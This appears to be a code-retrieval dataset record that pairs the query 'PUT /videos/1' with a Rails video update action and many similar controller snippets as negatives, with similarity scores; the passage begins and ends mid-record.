:unprocessable_entity }\n format.json { render json: @sales_video.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\tif user_type != 'guest' and user_type != 'bunned' and user_type != 'new_user'\n\t\tparams[:video][:user_id] = current_user.id\n\t\t@video = Video.new(params[:video])\n\t\trespond_to do |format|\n\t\t if @video.save\n\t\t\tformat.html { redirect_to @video, :notice => 'Видео успешно добавлено' }\n\t\t\tformat.json { render :json => @video, :status => :created, :location => @video }\n\t\t else\n\t\t\tformat.html { render :action => \"new\" }\n\t\t\tformat.json { render :json => @video.errors, :status => :unprocessable_entity }\n\t\t end\n\t\tend\n\telse\n\t\tredirect_to '/404'\n\tend\n end", "def video_params\n params.require(:video).permit(:name, :rating, :category, :subcategory, :language, :tags, :description, :uid, :status, :duration, :url_name, :tumbnail, :video)\n end", "def video_params\n params.require(:video).permit(:title, :url)\n end", "def video_params\n params.permit(:eid, :title, :ty, :videourl, :videoid, :user_id)\n end", "def create\n\n\n @project = Project.user_readable(current_user, params[:project_id])\n\n if @project\n\n @video = @project.videos.new(params[:project_video])\n\n if @video.save\n respond_to do |format|\n format.json { render :json => {:video_id => @video.id, :aws_videos_path => @video.videos_path}, :status => :ok }\n end\n\n else\n respond_to do |format|\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n\n else\n not_authorized\n end\n\n\n\n end", "def create\n @user_video = current_user.user_videos.new(params[:user_video])\n\n respond_to do |format|\n if @user_video.save\n format.html { redirect_to @user_video, notice: 'Video was successfully created.' }\n format.json { render json: @user_video, status: :created, location: @user_video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user_video.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @video = Video.new(video_params)\n\n if @video.save\n flash[:notice] = \"Successfully added new video!\"\n redirect_to videos_path\n else\n flash[:alert] = \"Error adding new video!\"\n render :new\n end\n end", "def video_params\n params.require(:video).permit(:nombre, :mensaje, :attach, :attach_file_name)\n end", "def create\n if current_user.permission.can_post_video?\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n else\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'You can not post videos.' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def video_params\n params.require(:video).permit(:urlID, :order, :description, :title, :curriculum_id)\n end", "def create\n @video_upload = VideoUpload.new\n @video_upload.save!\n @video_upload.prepare!\n\n render json: @video_upload, status: :created, location: @video_upload\n end", "def create\n @video = self.current_user.videos.new(params[:video])\n respond_to do |format|\n if @video.save\n if params[:video][:upload_ticket]\n # data is coming from asynchronous swf upload form page\n @asset = @video.attach_uploaded_asset!(Videoasset)\n if @asset\n format.html { render :partial => \"videos/video_info_form\", :locals => {:all_done => true} }\n else\n format.html { render :partial => \"videos/waiting_for_upload\"}\n end\n else\n # all-in-one upload page\n flash[:notice] = 'Video was successfully created.'\n format.html { redirect_to(video_path(@video)) }\n format.xml { render :xml => @video, :status => :created, :location => @video }\n end\n else\n if params[:video][:upload_ticket]\n # data is coming from asynchronous swf upload form page\n format.html { render :partial => \"videos/video_info_form\"}\n else\n # all-in-one upload page\n format.html { render :action => \"new\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end\n end", "def video_params\n params.require(:video).permit(:title, :video)\n end", "def video_params\n params.require(:video).permit(:title, :description, :length, :video_filename, :video_type)\n end", "def create\n @video = Video.new(video_params)\n if @video.save\n redirect_to @video, notice: \"Video was successfully created.\"\n else\n render :new\n end\n end", "def video_params\n params.require(:video).permit(:attach, :profesor_id, :observador_id)\n end", "def video_params\n params.require(:video).permit(:url, :item_id)\n end", "def video_params\n params.require(:video).permit(:url, :item_id)\n end", "def video_params\n params.require(:video).permit(:title, :description, :yt_video_id, :is_complete)\n end", "def create\n @video = Video.new(video_params.merge({ project_id: @project.id }))\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to action: 'show', controller: 'videos', project_id: @project.id, id: @video.id, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def create \n @video = Video.new() #get the attachemnt and create a video object with it\n\n if @video.save #if it saves then get the urll\n @video.create_url(params[:filepath]) \n\n if signed_in? #if the user is signed in add the video to their account\n current_user.videos << @video \n\n else #if they arent't uses sessions and a delete key\n @video.session_id = SecureRandom.urlsafe_base64(15) \n @video.delete_key = SecureRandom.urlsafe_base64(30) \n session[:owned_videos] ||= [] #if the current session doesn't have any owned_videos then create the array\n session[:owned_videos] << @video.session_id #add videos session id to array\n end\n\n @video.save \n send_to_heywatch @video\n render json: {url: \"/videos/#{@video.id}\"}\n else #error saving the video take them back to try again TODO show errors\n redirect_to \"/\"\n \n end\n end", "def video_params\n params.require(:video).permit(:url, :client_id)\n end", "def videos options={}\n response = client.get(\"/#{id}/videos\", options)\n end", "def send_video(url, name, video_info = {})\n client.api.send_content(id, url, name, 'm.video', extra_information: video_info)\n end", "def video_params\n\t params.require(:video).permit(:title, :link)\n\t end", "def videos_params\n params.require(:video).permit(:title, :author, :year, :duration, :video_url, :image_url, :is_winner, :is_entrant, :is_other, :id_for_app)\n end", "def index\n #@videos = Video.all\n Video.delete_database_and_files_on_server\n @video = Video.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end", "def create\n @medio_video = MedioVideo.new(medio_video_params)\n\n respond_to do |format|\n if @medio_video.save\n format.html { redirect_to @medio_video, notice: 'Medio video was successfully created.' }\n format.json { render :show, status: :created, location: @medio_video }\n else\n format.html { render :new }\n format.json { render json: @medio_video.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @video = Video.new(params[:video])\n @licenses = License.all\n @galleries = Gallery.all\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @video = Video.new(video_params)\n @video.relateds.build\n @video.resources.build\n # obtain video metadata using the Wistia API\n Rails.logger.info(\"obtaining metadata from Wistia API for #{@video.wistia}\")\n media = Wistia::Media.find(@video.wistia)\n @video.title = media.name\n @video.description = ActionController::Base.helpers.strip_tags(media.description)\n @video.duration = (media.duration.to_i / 60) % 60\n @video.thumbnail_url = media.thumbnail.url\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to videos_path, notice: 'Created video listing.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n Video.transaction do\n @video = Video.new video_params\n # @video.data = { data: params[:video][:data] }\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end\n # byebug\n\n end", "def video_params\n params.require(:video).permit()\n end", "def video_params\n params.require(:video).permit()\n end", "def create\n @admin_video = Admin::Video.new(admin_video_params)\n authorize! :create, @admin_video\n\n respond_to do |format|\n if @admin_video.save\n format.html { redirect_to @admin_video, notice: 'Video was successfully created.' }\n format.json { render action: 'show', status: :created, location: @admin_video }\n else\n format.html { render action: 'new' }\n format.json { render json: @admin_video.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.66142994", "0.65725774", "0.6564629", "0.6564629", "0.6456166", "0.6373349", "0.6363365", "0.63510555", "0.6274081", "0.62259245", "0.6222633", "0.61974967", "0.6190147", "0.6190147", "0.6190147", "0.6190147", "0.61785895", "0.61785895", "0.61785895", "0.61785895", "0.61785895", "0.61721087", "0.6128262", "0.61109513", "0.61109513", "0.6101412", "0.6086754", "0.6083797", "0.60792345", "0.60644287", "0.6049678", "0.6049678", "0.604196", "0.6039714", "0.60150373", "0.60090166", "0.59991527", "0.5992587", "0.5992587", "0.59793335", "0.59661734", "0.5947842", "0.5944064", "0.5942274", "0.5937729", "0.59377176", "0.5929767", "0.59230024", "0.59059197", "0.589006", "0.5882488", "0.5881797", "0.5881797", "0.5881797", "0.587261", "0.5872275", "0.586658", "0.5865098", "0.5860839", "0.58563465", "0.58532536", "0.5848914", "0.5834187", "0.58338106", "0.5827933", "0.5823329", "0.58229804", "0.5819592", "0.58116966", "0.5809925", "0.58061063", "0.58032894", "0.58008415", "0.5800775", "0.5799709", "0.5797422", "0.57932794", "0.5792011", "0.5785158", "0.5765771", "0.5764429", "0.57632357", "0.57591707", "0.57591707", "0.5748586", "0.5747568", "0.57443845", "0.5732751", "0.57326907", "0.5725289", "0.5723934", "0.5720585", "0.5719032", "0.57141757", "0.5713547", "0.57131827", "0.57105905", "0.5702524", "0.5702524", "0.5697857" ]
0.5762875
82
PUT /videos/1 PUT /videos/1.xml
def update @video = Video.find(params[:id]) respond_to do |format| if @video.update_attributes(params[:video]) format.html { redirect_to(@video, :notice => 'Video was successfully updated.') } format.xml { head :ok } else format.html { render :action => "edit" } format.xml { render :xml => @video.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def edit_video(video_id, title, description, method = HTTP_PUT)\n request_xml = %{\n <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n <vzaar-api>\n }\n request_xml += %{<_method>put</_method>} if method != HTTP_PUT\n request_xml += %{\n <video>\n <title>#{title}</title>\n <description>#{description}</description >\n </video>\n </vzaar-api>\n }\n auth_connection HTTP_PUT, \"/api/videos/#{video_id}.xml\", request_xml\n end", "def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n flash[:notice] = 'Video was successfully updated.'\n format.html { redirect_to(@video) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to(@video, :notice => 'Video was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to(@video, :notice => 'Video was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @video = @project.videos.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n flash[:notice] = 'Video was successfully updated.'\n format.html { redirect_to(project_item_path(@project, @video, :subdomain => @user.subdomain)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n Video.find(params[:id]).update(video_params)\n redirect_to \"/videos/#{params[:id]}\"\n end", "def update\n @video.update(video_params)\n render json: @video\n end", "def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @raw_video = RawVideo.find(params[:id])\n\n respond_to do |format|\n if @raw_video.update_attributes(params[:raw_video])\n format.html { redirect_to(@raw_video, :notice => 'Raw video was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @raw_video.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @video = Video.find(params[:id])\n @video.update_attributes\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { redirect_to videos_path , alert: 'Video was not successfully updated.' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\r\n @video = Video.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @video.update_attributes(params[:video])\r\n format.html { redirect_to \"/videos?p=\" + @@ADMIN_PASS }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @video.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n @videofile = Videofile.find(params[:id])\n\n respond_to do |format|\n if @videofile.update_attributes(params[:videofile])\n format.html { redirect_to(@videofile, :notice => 'Videofile was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @videofile.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @video_model = VideoModel.find(params[:id])\n\n respond_to do |format|\n if @video_model.update_attributes(params[:video_model])\n flash[:notice] = 'VideoModel was successfully updated.'\n format.html { render :action => \"edit\" }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @video_model.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n\n\n @project = Project.user_readable(current_user, params[:project_id])\n\n if @project\n\n @video = @project.videos.find(params[:id])\n\n if @video.update(params[:project_video])\n respond_to do |format|\n format.json { render :json => {:video_id => @video.id,\n :aws_videos_path => @video.videos_path}, :status => :ok }\n end\n\n else\n respond_to do |format|\n format.json { render json: @video.errors, status: :unprocessable_entity }\n #format.html { render action: \"edit\" }\n end\n end\n\n\n else\n not_authorized\n end\n\n\n\n\n\n end", "def update\n # @video = Video.find(params[:id])\n @video = current_user.videos.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @video = Video.find(params[:id])\n params[:video][:token] = token_from_link params[:video][:token]\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @video = @user.videos.find(params[:id])\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to user_videos_path(@user), notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @jeux_video.update(jeux_video_params)\n @jeux_video.create_activity :update, owner: current_user, read: false\n format.html { redirect_to @jeux_video, notice: 'Jeux video was successfully updated.' }\n format.json { render :show, status: :ok, location: @jeux_video }\n else\n format.html { render :edit }\n format.json { render json: @jeux_video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to videos_path(), notice: 'Video atualizado com sucesso.' }\n format.json { render :index, status: :ok, location: @video }\n else\n format.html { redirect_to edit_video_path(@video), alert: 'Video não atualizado' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json {\n render json: { files: [@video.to_jq_upload], url: video_path(@video), message: \"Uploaded successfully.\" }, status: :created, location: @video\n }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @video = Video.find(params[:id])\n\n flash[:success] = 'Video was successfully updated.' if @video.update_attributes(params[:video])\n respond_with(current_user,@video)\n end", "def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end", "def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Vídeo atualizada com sucesso' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes params[:video]\n format.html { redirect_to catnum_path(@video.catnum), notice: 'updated!' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |wants|\n wants.json {\n result = {}\n video = Video.find_by_tag_id(params[:tid])\n if video\n if video.update_attributes(params[:video])\n result[:result] = \"ok\"\n render :json => result.to_json\n return\n else\n result[:result] = video.errors_full_messages\n end\n else\n result[:result] = \"不存在该视频\"\n end\n render :json => result.to_json, :status => 400\n }\n end\n end", "def update\n @video = Video.find(params[:id])\n\n @video.actors = (params[:video].delete(:actors) || '').split(', ').collect { |name| name.strip!; Actor.find_or_create_by_name(:name => name) }\n @video.genres = (params[:video].delete(:genres) || '').split(', ').collect { |name| name.strip!; Genre.find_or_create_by_name(:name => name) }\n @video.directors = (params[:video].delete(:directors) || '').split(', ').collect { |name| name.strip!; Director.find_or_create_by_name(:name => name) }\n @video.update_attributes(params[:video])\n @video.save\n\n respond_to do |format|\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n end\n end", "def set_video\n @video = Video.find(params[:id])\n\n end", "def update\n respond_to do |format|\n if @videoo.update(videoo_params)\n format.html { redirect_to @videoo, notice: 'Videoo was successfully updated.' }\n format.json { render :show, status: :ok, location: @videoo }\n else\n format.html { render :edit }\n format.json { render json: @videoo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @video.update(video_params)\n @publication = Publication.find_by_published_id_and_published_type(@video.id, 'Video')\n @publication.update(:content => @video.content + @video.name + @video.description + @video.tag_list.join(' '))\n format.html { redirect_to videos_path, notice: 'El video fue actualizado correctamente.' }\n format.json { head :no_content }\n else\n format.html { render action: 'list' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to home_admin_path, notice: '视频更新成功!' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_video\n @video = Video.find(params[:id])\n end", "def set_video\n @video = Video.find(params[:id])\n end", "def set_video\n @video = Video.find(params[:id])\n end", "def update\n respond_to do |format|\n if @saved_video.update(saved_video_params)\n format.html { redirect_to @saved_video, notice: 'Saved video was successfully updated.' }\n format.json { render :show, status: :ok, location: @saved_video }\n else\n format.html { render :edit }\n format.json { render json: @saved_video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @video = Video.find(params[:id])\n video_file = params[:video_file]\n img_file = params[:img_file]\n\n if video_file != nil\n videoid = Utils.videoid\n @video.video_url = \"http://#{Constants::UPLOAD_IP}/files/videos/\"+Utils.upload(video_file, videoid)\n end\n\n if img_file != nil\n @video.video_img =\"http://#{Constants::UPLOAD_IP}/files/images/\"+Utils.upload(img_file, nil)\n end\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to channel_videos_path }\n else\n format.html { render action: \"new\" }\n end\n end\n end", "def update\n @video = self.current_user.videos.find(params[:id])\n respond_to do |format|\n if @video.update_attributes(params[:video])\n if params[:video][:upload_ticket]\n # data is coming from asynchronous swf upload form page\n unless @video.asset\n @asset = @video.attach_uploaded_asset!(Videoasset) \n else\n @asset = @video.asset\n end\n if @asset\n format.html { render :partial => \"videos/video_info_form\", :locals => {:all_done => true}}\n else\n format.html { render :partial => \"videos/waiting_for_upload\"}\n end\n else\n # all-in-one upload page\n flash[:notice] = 'Video was successfully updated.'\n format.html { redirect_to(@video) }\n format.xml { head :ok }\n end\n else\n if params[:video][:upload_ticket]\n # data is coming from asynchronous swf upload form page\n format.html { render :partial => \"videos/video_info_form\"} \n else\n # all-in-one upload page\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end\n end", "def update\n @video = Video.find(params[:id])\n\tif @video.user == current_user or user_type == 'admin' or user_type == 'super_admin' \n\t\trespond_to do |format|\n\t\t if @video.update_attributes(params[:video])\n\t\t\tformat.html { redirect_to @video, :notice => 'Видео успешно обновлено' }\n\t\t\tformat.json { head :no_content }\n\t\t else\n\t\t\tformat.html { render :action => \"edit\" }\n\t\t\tformat.json { render :json => @video.errors, :status => :unprocessable_entity }\n\t\t end\n\t\tend\n\telse\n\t\tredirect_to '/404'\n\tend\n end", "def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video.competition, notice: 'Video modificado correctamente..' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_video\n \n @video = Video.find(params[:id])\n \n end", "def update\n @user_video = UserVideo.find(params[:id])\n\n respond_to do |format|\n if @user_video.update_attributes(params[:user_video])\n format.html { redirect_to @user_video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_video.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @sequence = Sequence.find(params[:id])\n\n respond_to do |format|\n if @sequence.update_attributes(params[:sequence])\n format.html { redirect_to(script_videos_path(:id=>@sequence.video_id), :notice => 'Sequence was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sequence.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update(id, params = {})\n vimeo_video = Vimeo::Advanced::Video.new(@api_key, @api_secret, @token_hash)\n\n return unless id\n puts \"Vimeo: Updating #{id}\"\n\n vimeo_video.set_description(id, params[:description]) if params[:description]\n vimeo_video.set_title(id, params[:title]) if params[:title]\n vimeo_video.clear_tags(id) if params[:tags]\n vimeo_video.add_tags(id, params[:tags]) if params[:tags]\n rescue exception_block\n end", "def update\n respond_to do |format|\n if @video.update(video_params.merge({ project_id: @project.id }))\n format.html { redirect_to action: 'show', controller: 'videos', project_id: @project.id, id: @video.id, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_video\n\t @video = Video.find(params[:id])\n\tend", "def set_video\n @video = Video.find(params[:id])\n end", "def set_video\n @video = Video.find(params[:id])\n end", "def set_video\n @video = Video.find(params[:id])\n end", "def set_video\n @video = Video.find(params[:id])\n end", "def set_video\n @video = Video.find(params[:id])\n end", "def set_video\n @video = 